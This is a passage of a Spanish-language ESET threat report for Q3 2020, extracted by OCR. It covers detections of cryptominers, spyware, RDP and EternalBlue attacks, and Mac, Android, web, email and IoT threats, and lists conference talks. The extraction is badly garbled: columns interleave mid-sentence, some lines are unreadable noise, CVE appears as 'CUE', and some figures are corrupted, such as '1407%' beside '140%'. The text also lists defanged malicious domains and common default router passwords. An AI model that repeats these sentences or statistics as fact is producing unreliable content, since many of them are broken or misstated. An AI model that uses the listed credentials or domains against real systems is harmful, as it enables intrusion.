Los niveles de deteccion se mantuvieron estables en julio y agosto, y aumentaron ligeramente en sep- En septiembre de 2020, los ihvestigadores de ESET tambien descubrieron un tipo interesante de
tiembre, llegando casi a su valor maximo del segundo trimestre. El niumero promedio de detecciones en malware que apunta a las criptomonedas, al que llamaron KryptoCibule [57]. Este malware se desta-
septiembre fue un 11% mas alto que el promedio del tercer trimestre y un 2% mas alto que el promedio ca por sus tacticas multifaceticas: utiliza los recursos de la victima para extraer monedas, intenta
del segundo trimestre. Segun la telemetria de ESET, el aumento esta vinculado a una variante de la apli- secuestrar transacciones reemplazando las direcciones de la billetera en el portapapeles y extrae
cacidn potencialmente no deseada (PUA) JS/CoinMiner, que surgio a mediados de agosto. archivos relacionados con criptomonedas.

En cuanto a la estabilizacion general de las detecciones durante el tercer trimestre, podria estar re-

lacionada con la evolucion del precio del bitcoin en los ultimos meses, ya que comenzo a aumentar de ) ) ) o ) o ) ) )
El precio creciente del bitcoin implica que la practica de la mineria se vuelve mas rentable,

lo que tambiéen atrae a mas ciberdelincuentes. Sin embargo, a pesar del ligero repunte en las
detecciones de mmeros de crlptomanedas observado durante el tercer trimestre, es poco

manera abrupta a fines de julio de 2020, alcanzando en agosto sus valores mas altos desde 2017. Se cree
que este giro de los acontecimientos fue impulsado [56] por el crecimiento de las criptomonedas en los

mercados emergentes y, curiosamente, la pandemia del coronavirus.

: : » _ probable que este tlpo de amenaza reaparezca de manera importante en lo que queda del ano.
Detecciones de cryptominers =—Tasa de conversion BTC/USD (eje derecho)

Jiri Kropac, Jefe de los Laboratorios de Deteccion de Amenazas, ESET
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Tendencia en la deteccion de mineros de criptomonedas en Q2 y R3 de 2020, promedio movil de siete dias Trojan:PUA and in-browser:desktop ratio of cryptominer detections in K3 2020
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Spyware y backdoors

) » . : Troyano Win/HoudRat 19.05%
Los ataques del ladron de contrasenas Fareit aumentaron en el tercer trimestre de
2020; su distribucidn se vio impulsada por campafias de malspam a gran escala. Troyano Win/PSW.Fareit 18.9%
Troyano Win/Spy.Socelars 5.0%
Las detecciones de spyware y backdoors registraron una ligera tendencia a la baja en el tercer tri- Trouano MSIL/Bladabindi 3.1%
mestre de 2020, disminuyendo un 7% Yy un 3% respectivamente, en comparacion con el segundo trimes- _ _
_ . _ - Troyano Win/PSW.0OnLineGames... 3.0%
tre. Houdrat se mantuvo en primer lugar, su prevalencia impulsada por su mecanismo de propagacion
invasivo y la falta de buenos habitos cibernéticos en los mercados en desarrollo, al igual que en el Troyano Win/Spy.KeylLogger 1.1%
segundo trimestre [58]. En otras partes de la clasificacion, sin embargo, los puestos se modificaron. El Troyano Win/Spy.RTM 1.1%
que experimentd el mayor crecimiento fue Win/Spy.Socelars, con una cantidad de detecciones de mas _ )
del doble respecto al trimestre anterior. Este spyware roba las contrasenas almacenadas en los nave- Trogano Win/Spy.Weecnaw .07
gadores y extrae los datos de pago de las cuentas comprometidas. Troyano MSIL/Spy.Keylogger 0.5%
Otra familia de software espia que experimento un aumento significativo en el tercer trimestre fue Gusano MSIL/Bladabindi 0.5%
Win/PSW.Fareit, un troyano que roba contrasefas ampliamente distribuido también conocido como Ponuy.
Fareit es popular entre los ciberdelincuentes porque su codigo fuente se filtro online, lo que les per-
mitid emplearlo en sus camparias maliciosas. Una vez presente en un sistema, Fareit roba la informa- Las 10 principales familias de spyware en R3 de 2020 (% de detecciones de spyware]
cion de inicio de sesion de varios navegadores y otras aplicaciones de almacenamiento de credencia-
les, y luego envia los datos robados a un servidor remoto. Win/VUools 14.2%
Segun la telemetria de ESET, Fareit se distribuye principalmente a traves del malspam: el 92% de las backdoor PHP/WebShell 11.5%
detecciones de Fareit en el tercer trimestre se encontraron en archivos adjuntos de correo electro- _
nico. La mayoria de estos archivos adjuntos eran ejecutables que se hacian pasar por documentos re- backdoor Win/Tofsee 10.2%
lacionados con actualizaciones del estado de envios o entregas de paquetes. backdoor Win/UB 9.8%
backdoor Win/RanumBot 8.3%
Backdoors Spyware
backdoor Java/Adwind 4.9%
backdoor MSIL/NanoCore 3.6%
backdoor Win/Glupteba 3.2%
backdoor Win/Equation.DoublePulsar 3.0%
backdoor ASP/Webshell 2.4%
Las 10 principales familias de backdoors en R3 de 2020 (% de detecciones de backdoors)
La creciente prevalencia de amenazas como Fareit muestra que las contrasenas son un objetivo
lucrativo para los ciberdelincuentes, ya que pueden usarlas en una gran variedad de ataques
o venderlas facilmente en mercados clandestinos. Nuestra telemetria muestra que el spam, sin
importar el uso trillado de los seAuelos, es el vector de distribucion preferido para entregar
' B ' estas amenazas.
1-Apr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Aug-2020 1-Sep-2020

Jiri Kropace, Jefe de los Laboratorios de Deteccién de Amenazas, ESET

Spyware and backdoor detection trends in R2 2020-03 2020, seven-day moving average
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Exploits

Los clientes Unicos que informaron intentos de ataques al ROP mediante fuerza bruta crecieron un 37 % con respecto al trimestre anterior, mientras que los
intentos de ataque totales aumentaron un 1407%, seguidos de una caida de corta duracidn al final del trimestre.

El coronavirus alcanzo nuevos picos de infeccion en el tercer trimestre y las empresas continuaron

dependiendo en gran medida del acceso remoto. Esta es probablemente una de las razones por las que Las bandas de ransomware les demostraron a otros jugadores clandestinos que comprometer
el Protocolo de escritorio remoto (ROP) sigue siendo un objetivo principal para los ciberdelincuen- el RDP y robar los datos confidenciales de las victimas puede ser una técnica de ataque muy
tes en el tercer trimestre, que fue documentado por un crecimiento intertrimestral del 37% tenien- rentable. Y al combinarlo con el creciente numero de sistemas mal protegidos que se conectaron

do en cuenta la cantidad de clientes Unicos que informaron un intento de atague mediante fuerza a Internet durante la pandemia, hubo un aumento extremo en los intentos de ataques mediante

bruta a su conexion ROP. fuerza bruta contra el protocolo RDP, como se observa en los datos de telemetria de ESET.

Jiri Kropac, Jefe de los Laboratorios de Deteccién de Amenazas, ESET

La cantidad total de intentos de ataque experimento un crecimiento extremo, ya que aumento un 140%

con respecto al trimestre anterior. La telemetria de ESET documentd una fuerte caida, aungque de corta
duracion, a fines de septiembre, de casi un 40%.

R . e ) _ _ _ _ Las detecciones de EternalBlue experimentaron un repunte en el tercer trimestre, cerrando dicho perio-
Dado que esta disminucion limitada se observo en varias regiones, es posible que haya tenido lugar uno , . . .. . , ,
R _ do con un aumento del 26% segun la cantidad de clientes Unicos a los que se dirigio por dia. E1 numero de
de los siguientes escenarios: . ., . .. .
intentos de ataques de EternalBlue siguio una trayectoria muy similar, cerrando el tercer trimestre con

0 Bl gesmentals A5 EUELEESRE GE dAlrsEstruEt s maldeines [eame s Betaeh & sarhe dE was Eatast un 23% adicional, lo gue contrasta con la caida del 11% observada para los clientes Unicos gque informaron

0 L) G ) PulE e G L e S e Gl eEE e el o) G Skl G S el e e intentos del aprovechamiento de la vulnerabilidad BlueKeep y la caida del 13% en el numero total de in-

" |3 interrupcion de las actividades del atacante debido a mantenimiento o a problemas téecnicos en su tentos de ataque explotando dicha vulnerabilidad.
infraestructura.
s F] surgimiento de otro vector de atague, mas viable, mas barato o mas facilmente explotable, que lleve

a uno de los grupos de atacantes a reenfocarse durante un breve periodo de tiempo.

—Intentos de conexién ROP (eje izquierdo) —Tntentos de ataques de EternalBlue en equipos de cliente Unicos (eje izquierdo]
Intentos de conexidon ROP en equipos de cliente Unicos (eje derecho) Intentos de ataques de BlueKeep en equipos de cliente Unicos (eje derecho])
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Amenazas para Mac

Las amenazas para Mac continuaron disminuyendo durante el tercer trimestre y la cantidad de detecciones de las principales amenazas disminuyeron mas de
una quinta parte en comparacion con el sequndo trimestre.

Las amenazas para Mac siguieron el mismo camino gque en el segundo trimestre y mostraron una dis- 0SX/Mackeeper PUA 26.60%
minucion gradual adicional durante el tercer trimestre. La cantidad de detecciones disminuyo 21% en

., . . . : . 0SX/Keygen PUsA 15.60%
suUu comparacion trimestral. La mayor variacion fue notable en el caso de las aplicaciones potencial-
mente no deseadas (PUAJ, con pequerfios altibajos ocasionales, pero sin picos significativos. Para to- 0SX/GT32SupportGeeks PUA 8.00%
das las demas categorias, como el adware, los troyanos y las aplicaciones potencialmente no seguras
(PUsA), las cantidades detectadas disminuyeron constantemente en el tercer trimestre. 0SX/Bundlore adware 6.20%
La amenaza mas frecuente detectada en la plataforma Mac siguid siendo Mackeeper, con un 26,6%, un 0SX/Pirrit adware 5.50%
porcentaje apenas menor que su 27,6% del segundo trimestre. Sin embargo, la cantidad absoluta de
detecciones siguio la misma trayectoria que toda la categoria, y disminuuyd en un 29%. 0SK/Max0fferDeal adware 4.10%
La telemetria de ESET muestra una tendencia casi idéntica para la PUsA 0SX/Keygen, que ocupa el 0SX/InstallCore adware 2.70%
segundglugar& El nUmer*o absolu.to de dete.cciones de esta aplicacilén, utilizada pa.r‘a SOFtKIMaI"E‘ pir‘a’lr,a, 0SX/TrojanDownloader.Adload trojan > 60%
decrecio un 24%. Debido a la baja de las cifras en toda la categoria, su porcentaje de caida fue mi-
nimo, terminando en 15,2% en el tercer trimestre frente al 15,6% en el segundo trimestre. 0SX/Genieo adware 2. 40%
Las 10 principales familias permanecieron casi idénticas, sin cambios en los cinco rangos mas altos 0SX/USearch adware - 2.20%

B Todos —PUA —Adware PUsA Troyanos Otros Las 10 principales detecciones de amenazas para Mac en R3 de 2020 (% de detecciones de amenazas para Mac)

El Unico participante nuevo entre los primeros diez fue el adware 0SX/Max0OfferDeal, que ocupo la
sexta posicidn, con un 4,1%, desplazando a la aplicacidon 0SX/Riskware.Meterpreter, que en el segundo
trimestre ocupaba el déecimo lugar.

En el tercer trimestre, el Equipo de Investigacion de ESET descubrio sitios web gque distribuian ver-
siones troyanizadas de aplicaciones para Mac0S legitimas para realizar trading de criptomonedas
con el hombre modificado. Las aplicaciones estaban empaquetadas junto con el malware GMERA, cuyos
operadores intentan extraer informacion de las victimas, como cookies del navegador, billeteras de
criptomonedas y capturas de pantalla. ESET encontrd cuatro apps maliciosas que se utilizan de esta
manera, llamadas Cointrazer, Cupatrade, Licatrade y Trezarus. Si desea obtener informacion tecnica
adicional, consulte nuestra entrada de blog [59].

Aunque los numeros de aplicaciones no deseadas en Mac son bastante altos
en comparacion con los troyanos y los backdoors, nuestra investigacion del
ultimo malware GMERA mostro que algunos perpetradores todavia estan creando

1-Abr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Ago-2020 1-Sep-2020 y distribuyendo malware activamente en Mac.

Tendencia en la deteccidn de amenazas para Mac en R2 y Q3 de 2020, promedio movil de siete dias Marc-Etienne Léveille, Investigador de Malware de ESET
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Amenazas para Android

S1 bien las apps que despliegan anuncios continuaron dominando la escena de amenazas para Android, las detecciones de malware bancario experimentaron un
repunte en el tercer trimestre de 2020.

Tras un pico en mayo de 2020, las detecciones en Android disminuyeron en junio, aumentaron en Jjulio y
se mantuvieron en un nivel relativamente estable durante agosto y septiembre. En términos del volumen
general de detecciones, el tercer trimestre experimentd una disminucion del 19% en comparacion con el
trimestre anterior.

El aumento en Julio estuvo relacionado con el crecimiento de la categoria de amenazas Aplicaciones
Ocultas (Hidden Apps), gue ha dominado el panorama de amenazas para Android durante tres trimestres
consecutivos. Esta categoria abarca las detecciones de aplicaciones enganosas que ocultan sus iconos
una vez instaladas e innundan el dispositivo afectado con anuncios de pantalla completa. Por lo general,
se hacen pasar por juegos atractivos y varias utilidades convenientes.

Las detecciones de Android/HiddenApp se han duplicado en comparacion con el segundo trimestre y tri-
plicaron su participacidn en el ranking de las 10 principales amenazas. La familia Android/Hiddad subid
del segundo al primer lugar, aunque sus detecciones totales en realidad disminuyeron en un 12%.

Otra categoria de malware para Android que crecio en el tercer trimestre es el malware bancario, cuyas

detecciones excedieron el cuadruple en comparacion con el segundo trimestre. . . . . . .
1-Abr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Ago-2020 1-Sep-2020

Todos Apps Ocultas Troyanos SMS —Adware —Stalkerware Clickers
Tendencia en la deteccion de malware bancario para Android en R2 y R3 de 2020, promedio movil de siete dias

Malware Bancario, Cryptominers, Ransomware, Spyware
Este crecimiento fue el resultado de un alza en las detecciones de una variante de Android/Trojan-
Dropper.Agent que transporta el malware bancario Cerberus, detectado como Android/Spy.Cerberus.

Cerberus es un notorio troyano bancario movil que aparecio [60] en junio de 2019 y estuvo muy acti-
vo hasta julio de 2020, cuando la banda detras del malware se separd y lo publicd para subastar [61].
Ni siquiera un mes despues, el 11 de agosto, el codigo fuente de Cerberus se lanzo de manera gratuita

[62] en un foro clandestino, lo gue permitio gue cualquiera usara el malware para su propio benefi-
cio, aumentando asi el numero de intentos de ataque detectados.

Aunque el malware bancario solo representa una pequena fraccion de las
amenazas para Android, su crecimiento es preocupante, ya que sin la proteccion
adecuada, puede causar graves danos. La publicacion de un codigo fuente
importante como el de Cerberus permite Qque mas atacantes distribuyan facilmente
payloads personalizados; es 1o mismo que vimos en el pasado con otras familias
de malware bancario, como BankBot, Anhubis y Exobot.

1-Abr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Ago-2020 1-Sep-2020

Tendencias en la deteccion de categorias de amenazas para Android seleccionadas en R2 y R3 de 2020,
promedio movil de siete dias

Lukas Qt.ef‘anko, Investigador de Malware de ESET
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Amenazas web

Los bloqueos de amenazas web disminuyeron en el tercer trimestre de 2020, como resultado de la desaparicion de dos grandes jugadores de la escena de
dominios maliciosos.

En el tercer trimestre de 2020, la telemetria de ESET registrd una disminucion general del 16% en las facebook volksbank
amenazas web clave que rastreamos, es decir gque continuo la tendencia a la baja observada en el segun- office

. . . . 7 . Vi 7 . . . . .
do trimestre. Esta disminucion incluyo las categorias Estafa, Malware y Phishing; mientras que Objeto de 1 ta u blockchain

Malware fue la Unica categoria que crecio tanto en terminos de blogueos generales como de URL Unicas

bloqueadas. instagram hOtmail

Los sitios web que descargan malware experimentaron la mayor disminucion con respecto al trimestre _ _ _
anterior: del 28%. Este desarrollo esta relacionado con la desaparicion de dos dominios que encabezaron Top 18 brands and domain names targeted with homoglyph attacks in G4 2020
la categoria de Malware durante todo el primer semestre: adobviewe[.]club y fingahvuf[.]top. E1 ex numero

uno, adobviewel.]club, es parte de un esquema de adware encargado de mostrar ventanas emergentes que En el area de los atagues de homoglifos! observamos una disminucidon general en la cantidad de de-

promueven nuevas amenazas. Las detecciones de este dominio disminuyeron gradualmente durante el se- tecciones, aungue hubo algunos recién llegados en lo que respecta a marcas o nombres de dominio

gundo trimestre, desde fines de abril, y fueron practicamente inexistentes en el tercer trimestre. suplantados. De hecho, los dos principales dominios con homoglifos aparecieron en el tercer trimes-

tre.
El dominio fingahuf[.]top, gue redirige a los visitantes a sitios web que distribuyen mas amenazas, ex-

perimento una fuerte caida: a fines de mayo de 2020, los blogueos diarios cayeron de cientos de miles a El dominio que encabeza la lista, nexi[.]Jcom (observe el punto debajo de la “e”), se hace pasar por

decenas de miles, y disminuyeron aun mas durante el tercer trimestre. Nexi, un popular servicio de pago digital en Italia. El segundo dominio mas blogqueado, bankline.itaul.]

. . . 5 . . _ com - (observe el gancho en la “i” en lugar del punto), se hace pasar por el sitio web del banco bra-
Estos descensos pueden deberse a la finalizacion de las campanas o al cambio de dominios y servidores.

silefio Itau. Las detecciones de estos dominios fueron exclusivamente en Italia y Brasil, respectiva-

Los dominios con el mayor nhumero de blogueos en el tercer trimestre se enumeran a continuacion:

mente.
mmA]l —Scam Malware Phishing —Malware Object
, 14 o
c Malware Estafas Phishing
o)
— 12 1 s.viiotp[.]com ofhappinyer[.Jcom d18mpbo349nky5.cloudfront[.]net
>
10 2 nbf9b5aurll.]com maranhesduvel[.]club propul.]lsh
3 runmewivell.]lcom glotorrents[.]pw mrproddisup[.]com
8
4 ofgogoatan[.]com govikleronel[.]Jcom exchangepresumeethell.]com
6 5 dpiwrxl3dmzt3.cloudfront[.]lnet wwclickads[.]club missingarchery[.]Jcom
p 6 hardyload[.]com p4.maranhesduvel.]club diplomaticlastingpert[.]com
7 brandsafe.adlooxtracking[.lcom golnews[.]biz stressfulpyjamas[.]com
2
8 cozuytech[.]biz dgafgadsgkjg[.]top update.updtbrwsr[.]com
0] S — S — 9 biggames[.]club static.sunnycoast[.]xyz update.updtapil[.]com
1-Apr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Aug-2020 1-Sep-2020
10 opentracker[.]xyz masturel.]lmaobi update.brwsrapil.]com
Trends of blocked web threats in R2 2020-R3 2020, seven-day moving average
(total blocks rather than unique device counts) Los 10 principales dominios bloqueados de Malware, Estafas y Phishing en Q3 de 2020

Ataques web gue se bhasan en la sustitucidon de caracteres en los nombres de dominio por otros caracteres muy similares (o incluso visualmente idénticos) pero que para INFORME DE AMENAZAS DE ESET DEL TERCER TRIMESTRE DE 20820 |

una computadora son diferentes.



Amenazas de correo electronico

Las detecciones de correos electronicos maliciosos continuaron creciendo en el
paqueteria y logistica como seAuelos.

El total de detecciones de correos electronicos maliciosos en el tercer trimestre aumento un 9% en com-
paracion con el trimestre anterior, manteniendo la tasa de crecimiento observada entre el primer y el se-
gundo trimestre. Tras los picos de julio y agosto, la actividad disminuyo drasticamente en septiembre.

La amenaza detectada con mayor frecuencia en los correos electrdnicos sigue siendo Win/Exploit.CUE-
201/7-11882: documentos maliciosos que aprovechan una vulnerabilidad en Microsoft Office para descar-
gar malware adicional en la computadora. Las siguientes amenazas mas comunes fueron HTML/Fraud y DOC/
Fraud. E1 dltimo casi duplico la cantidad de detecciones desde el segundo trimestre. Ambos nombres de
deteccion abarcan los correos electronicos fraudulentos enviados con el objetivo de extraer informa-
cion personal de los destinatarios.

Aungue los correos electronicos y archivos adjuntos de phishing basados en HTML, detectados como tro-
yanos HTML/Phishing, no llegaron a los tres primeros puestos, su humero total de detecciones aumento

casi un 40% en comparacion con el segundo trimestre. DHL siguid siendo la marca mas utilizada en estos
correos electronicos maliciosos, seguida por el banco sudafricano Absa y el gigante en logistica Maersk.

Los correos electronicos de phishing que utilizan DHL como sefiuelo, que se habian disparado en el se-
gundo trimestre, experimentaron un aumento adicional, aungue mucho menor, este trimestre (del 50%).
En cambio, se observd un crecimiento mas dramatico en la cantidad de correos electrdnicos que se hacen
pasar por Maersk, cuya incidencia aumento casi diez veces.

1-Abr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Ago-2020 1-Sep-2020

Tendencia en la deteccion de correos electronicos maliciosos en R2 y R3 de 2020, promedio movil de siete dias

tercer trimestre de 2020, abusando del hombre de empresas de entrega de

Troyano Win/Exploit.CUE-2017-11882 25.36%
Troyano HTML/Fraud 19.74%
Troyano DOC/Fraud 12.01%
Troyano HTML/Phishing 11.28%
Troyano PDF/Fraud
Troyano JS/Danger.ScriptAttachment
Troyano Win/PSW.Fareit 1.87%
Troyano JS/Danger.DoubleExtension 1.78%
Troyano PDF/Phishing 1.76%
Troyano JS/TrojanDownloader.Nemucod . 1.36%
Las 10 principales amenazas detectadas en correos electronicos en R3 de 2020
Se detectd una variante de esta amenaza en diversas campahas a
gran escala durante el tercer trimestre, y alcanzo su punto maximo
en la segunda gquincena de septiembre. Las detecciones de estos co-
rreos electronicos, que intentan extraer las contrasefas de los des-
tinatarios para los servicios online de Maersk, fueron mas frecuen-
tes en Espana, Polonia e Italia.
Adobe
PayPal
> Maersk
Los 10 principales nhombres de marcas utilizadas como seriuelo en los Correo electronico malicioso que se
correos electronicos de phishing durante R3 de 2020 hace pasar por Maersk
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Ejecutables Windows
74% Archivos script
Documentos de Office
B Archivos comprimidos
B Documentos PDF
1% Archivos de Java
Archivos por lotes
Accesos directos

Ejecutables de Android

Principales tipos de archivos adjuntos en correos electronicos maliciosos? en R3 de 26020

Mas del 70% de los archivos adjuntos maliciosos identificados en el tercer trimestre de 2020 fueron ar-
chivos ejecutables, seguidos de archivos de script y documentos de Office. En comparacion con el segun-
do trimestre, los ejecutables fortalecieron su posicion en el primer lugar, con un aumento de 18 puntos

porcentuales, mientras que los archivos de Office disminugeron en 13 puntos Correo electronico de spam que utiliza la asistencia financiera por el COUID-19 como seriuelo

Los archivos adjuntos egjecutables se ocultaron con frecuencia mediante el uso de la denominada doble
extension de archivo. De esta forma, intentan enganar a los usuarios para que los abran, aprovechando el
hecho de que la configuracion predeterminada de Windows oculta las extensiones de archivo para tipos
de archivo conocidos. La extension mas utilizada en el tercer trimestre fue, por lejos, POF. Los atacantes

tambien intentaron comUunmente disfrazar ejecutables maliciosos como archivos, imagenes y documentos
de Microsoft Excel y Word.

En cuanto a las detecciones de spam (correos electronicos no solicitados de cualquier tipo, que no ne-
cesariamente transportan malware), mantuvieron un nivel parejo durante el tercer trimestre, con multi-
ples picos pequehos. El volumen general de detecciones de spam fue 4% mayor en comparacion con el tri-
mestre anterior.

En el tercer trimestre, observamos que los spammers siguieron usando indebidamente el tema de la pan-
demia del coronavirus para su propio beneficio. Uno de los temas recurrentes y con mas frecuencia en
los correos electronicos no solicitados fue el apoyo financiero relacionado con la pandemia, como se ve
en la captura de pantalla en la esquina superior derecha. Los delincuentes aprovechan las dificultades
financieras que enfrentan muchos en tiempos de crisis y se hacen pasar por organizaciones legitimas
con el objetivo de manipular a las victimas para que entreguen informacion confidencial.

Al interpretar los datos de ESET sobre el spam, se debe tener en cuenta que nuestra visibilidad del :

trafico de spam es limitada, ya que los correos electronicos muchas veces son filtrados por el pro- 1-Abr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Ago-2020 1-Sep-2020

veedor de servicios de correo electronico de Internet o en otro lugar, antes de llegar a la solucion
antispam de ESET en los equipos cliente. Tendencia en la deteccion de spam en R2 y 3 de 2020, promedio movil de siete dias

2 7 . -7 . .
Las estadisticas se basan en una seleccion de extensiones conocidas. INFORME DE AMENAZAS DE ESET DEL TERCER TRIMESTRE DE 2020 |



Seguridad de la Internet de las Cosas (IoT]

Las 10 principales vulnerabilidades del seqgqundo trimestre experimentaron una ligera disminucion y, de los hombres de usuario y las contrasenAas
debiles mas mas utilizados, “admin” sigue siendo el primero..

Q2 mQ3
Con mas de 100,000 routers probados, ESET continud monitoreando los desarrollos de seguridad en el am-
bito de los dispositivos de la IoT durante el tercer trimestre. Al 1gual que en los trimestres anteriores, 17.7%
miles de routers siguen siendo vulnerables por el uso de las contrasefias predeterminadas para ingresar Acceso no autorizado CUE-2012-5687 16.3%
a la interfaz de administracion, por lo gque solo se ven cambios menores en la clasificacion.
13.8%
. " , : , : L. L, Inyeccidn de comando CUE-2014-8361 %
La contrasena debil detectada con mas frecuencia, encontrada en mas de 4600 dispositivos, sigulo siendo 11.0%
“admin”, a la que le sigue “root”, en 500 dispositivos, “1234”, en mas de 200 y “12345” en algunas decenas. -~ o
Probablemente se trate de contrasenas predeterminadas y la mayoria de las veces tambien van acompa- Inyeccidon de comando CUE-2014-9583 '? ;7
hadas de nombres de usuario predefinidos, como “admin”, “root”, “guest”, “1234” y “support”. B
.. L. 6.6%
Scripting entre sitios CUE-2014-1225 ey
. . . 3.5%
Las detecciones de ESET sugieren que muchas personas usan routers con sistemas Acceso no autorizado CUE-2015-7248 _/ e
obsoletos, que tienen vulnerabilidades desde hace anos. Lo que empeora la '
situacion es el hecho de que dos de las tres principales fallas corresponden a Acceso no autorizado CUE-2015-0554 I 4‘;-5%
inyecciones de comandos, que son especialmente peligrosas y constituyen un o
- V4 [ ] - - 4.4-9o
elemento clave para la construccion de botnets con dispositivos de la IoT. feceso no autorizado CUE-2014-2962 ' 97/
Milan Franik, Investigador de Malware de ESET '
2.6%
Acceso nho autorizado CUE-2013-5947 g 6
Las 10 principales vulnerabilidades tuvieron solo algunos cambios menores en su clasificacion, mien- 4.1%
tras que la lista de las Uulnerabilidades y Exposiciones Comunes (CUE) detectadas con mayor frecuen- AEEEED WD EMEriZERe EUEmeBia sl 3.2%
cia no experimento ninguna modificacion. Si bien la falla mas antigua, CUE-2012-5687, sigue liderando
la lista en el tercer trimestre, la proporcion de dispositivos encontrados con esta vulnerabilidad dis- Aceceso no autorizado CUE-2015-7254 2'7%0
minuyo levemente del 17,7% al 16,3%. De manera similar, los routers reportados como vulnerables a la _ 3.0%
inyeccion de comando descrita en la CUE-2014-8361 cayeron de 13,8% en el segundo trimestre al 11% en
el tercer trimestre. Las 10 principales vulnerabilidades detectadas por el modulo de exploracion de vulherabilidades de routers

provisto por ESET en R2 y Q3 (% de detecciones de vulnerabilidades]

El aumento mas notable se documento en el caso de la CUE-2015-7248, que registro una cantidad de de-

tecciones del 1,4% mayor gue en el trimestre anterior, lo que llevd a esta vulnerabilidad de la octava
a la quinta posicion.
En Jjulio, las ultimas imagenes del firmware para los routers de D-Link se quedaron sin proteccion de ci-

El tercer trimestre también marco otro gran hallazgo del Equipo de Investigacion de ESET en lo que frado [63] cuando unos investigadores extrajeron las claves de descifrado de versiones anteriores de
respecta a los hogares inteligentes: una version extendida de Kr@0k, la vulnerabilidad que afecta el las mismas imagenes de firmware. Unas semanas después de este error, la empresa reveld cinco vulne-
cifrado en muchos dispositivos populares con chips de Wi-Fi1 de marca Broadcom y Cypress. Nuestra in- rabilidades graves [64]: CUE-2020-15894, CUE-2020-15895, CUE-2020-15893, CUE-2020-15896 y CUE-2020-
vestigacion confirmo que tambien existen problemas de cifrado en chips de otros proveedores, a sa- 15892, algunas de las cuales afectaban dispositivos que ya habian pasado el final de su vida Util y, por lo
ber, Qualcomm y MediaTek. Si desea conocer mas detalles, lea la historia destacada de este informe. tanto, el proveedor no los corregira.
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Presentaciones

CODE BLUE 2020

Krd@k: Una vulnerabilidad grave que afecto el cifrado de mas de mil millones de dispositivos de
Wi-Fi

El investigador de malware de ESET, Robert Lipousky, reveld los detalles de la falla de seguri-
dad KrB@k en CODE BLUE 2020. Ofrecio informacion sobre la inhvestigacion original que descibrio
la vulnerabilidad en los chips de Wi-Fi de marca Broadcom y Cypress, y tambien habld sobre

otros hallazgos obtenidos en la investigacion de seguimiento.

Botconf

Grupo Winnti: Un anadlisis de sus ultimas actividades

En la edicion online de Botconf de este ano, el investigador de malware de ESET Mathieu Tarta-
re ofrecera una descripcion general de las ultimas actividades del Grupo Winnti, responsable
de ataques de cadena de suministro a la industria de videojuegos y software de alto perfil, asi
como al sector de atencidon medica y educacion. La presentacion demostrara que el Grupo Winn-
t1 no solo sigue usando y manteniendo activamente su backdoor principal, ShadowPad, junto con
la familia de malware Winnti, sino que tambien amplio su arsenal con nuevas herramientas y
algunas incorporaciones novedosas y aun no documentadas.

Las operaciones de Turla analizadas de cerca

En su presentacion de Botconf, el investigador de malware de ESET, Matthieu Faou, compartira
informacion actualizada sobre las tacticas, tecnicas y procedimientos de Turla, un grupo de
amenazas avanzadas que ESET ha estado siguiendo durante varios anos. Estos actores estan in-
teresados principalmente en atacar objetivos de alto perfil, como organismos gubernamentales
y empresas de defensa. La presentacion describira los principales ataques atribuidos publica-
mente al grupo y explorara los motivos de los atacantes. La parte téecnica de la charla mostra-
ra como Turla implementd los tres pasos clasicos de las campanas de amenazas persistentes

avanzadas: compromiso, movimiento lateral y persistencia en el largo plazo.

AUAR 2020 Uirtual

CDRThief: Malware que ataca los softswitches de UolIP de Linux

En una charla virtual en la conferencia AUAR, el inhvestigador de malware de ESET Anton Chere-
panov presentara su reciente descubrimiento de CDORThief, un malware dirigido a los softswit-
ches de voz sobre IP (UoIP) basados en Linux. CORThief es particularmente interesante, ya que
su objetivo principal es extraer los registros con detalles de las llamadas (CDR, del inglés],
que contienen los metadatos de UolIP de las llamadas realizadas, desde los softswitches de
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UoIP comprometidos, como la hora de la llamada, su duracion, su costo, etc. La charla proporciona-
ra una descripcion tecnica detallada del malware CORThief y analizara los posibles objetivos de los
operadores del malware.

Un analisis en profundidad de Evilnum y su conjunto de herramientas

Esta presentacion del investigador de ESET Matias Nicolas Porolli se centrara en Evilnum, un grupo
de ciberdelincuentes que opera desde hace al menos dos anos, que dirige sus atagques a empresas de
tecnologia financiera. La presentacion describira la infraestructura utilizada en las operaciones de
Evilnum, analizara el malware desarrollado y utilizado por el grupo, y explicara la cadena de ataque.
La charla tambien explorara su victimologia, en base a los datos telemetricos de ESET, que demues-

tra que Evilnum tiene un objetivo de atague muy especifico.

Presentaci

nes realizadas

Black Hat USA y Black Hat Asia

Kro0k: Una vulnerabilidad grave que afectd el cifrado de mas de mil millones de dispositivos Wi-Fi [6]

En las ediciones virtuales de este ano de Black Hat USA y Black Hat Asia, el investigador de malware
de ESET Robert Lipovsky y el ingeniero de deteccion de ESET Stefan Svoren ik revelaron detalles de
la falla de seguridad Kr@d@k. Sus informes ofrecieron detalles tecnicos asi como huevos datos descu-

biertos luego de la publicacion inicial de la vulnerabilidad.

Arsenal de descifrado de Stantinko [65]

El analista de malware de ESET Uladislav Hr
analizo el conjunto de herramientas de ofuscacion utilizado por la familia de malware Stantinko. En

ka hizo unha presentacion virtual en BlackHat USA, donde

su charla, se centro principalmente en las mejoras para ofuscar el flujo de control y en las tecni-
cas para cifrar cadenas utilizadas por los operadores de la familia del malware, y mostro como estos

enfogques comunes se volvieron unicos.

Conferencia Uirus Bulletin 2020 Localhost
XDSpy: Robando secretos del gobierno desde 2011 [66]

En este paper presentado en UB2020, el investigador de malware de ESET Matthieu Faou describio el
descubrimiento de la operacion de ciberespionaje XDSpy contra varios gobiernos de Europa del Este,
los Balcanes y Rusia, que paso desapercibida durante casi 10 anos. Al parecer, su objetivo era robar
documentos de diplomaticos y personal militar, pero tambien de un pequefo numero de empresas pri-
vadas e instituciones academicas, lo que sugiere que el actor también es responsable de espionaje
economico.

Aplanando la curva de riesgos cibernéticos [67]

El investigador senior de ESET Righard Zwienenberg participo en el panel de Inteligencia de Amena-
zas en la conferencia virtual UB2020 Localhost. En este panel se analizaron los requisitos a menudo
pasados por alto para aprender a minimizar los riesgos en las redes corporativas, explicando lo que
se debe y no debe hacer para que las empresas aplanen la curva de riesgos ciberneticos, minimicen
